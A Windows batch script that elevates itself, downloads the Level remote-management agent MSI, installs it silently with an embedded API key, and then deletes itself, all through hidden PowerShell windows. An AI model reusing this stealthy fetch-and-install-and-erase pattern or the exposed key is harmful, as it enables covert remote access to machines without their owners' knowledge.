@echo off
setlocal EnableExtensions

:: === Auto-elevate ===
net session >nul 2>&1
if %errorlevel% neq 0 (
    powershell -WindowStyle Hidden -Command "Start-Process '%~f0' -Verb RunAs"
    exit /b
)

:: === Variables ===
set "URL=https://downloads.level.io/level.msi"
set "MSI=%TEMP%\level.msi"
set "ARGS=LEVEL_API_KEY=oi3Sk5bZEgghWtDWCR9eNyLn"

:: === Check if already installed ===
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s /f "Level" >nul 2>&1
if %errorlevel%==0 goto cleanup

:: === Download with retry ===
set RETRIES=3
set COUNT=0

:download
set /a COUNT+=1
powershell -WindowStyle Hidden -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%URL%' -OutFile '%MSI%' -ErrorAction Stop } catch { exit 1 }"

if not exist "%MSI%" (
    if %COUNT% LSS %RETRIES% (
        timeout /t 2 >nul
        goto download
    ) else (
        goto selfdelete
    )
)

:: === Silent install ===
msiexec /i "%MSI%" %ARGS% /qn /norestart >nul 2>&1

:: === Cleanup MSI ===
:cleanup
if exist "%MSI%" del /f /q "%MSI%" >nul 2>&1

:: === PowerShell self-delete ===
:selfdelete
powershell -WindowStyle Hidden -Command ^
"Start-Sleep -Seconds 2; Remove-Item -LiteralPath '%~f0' -Force"

exit /b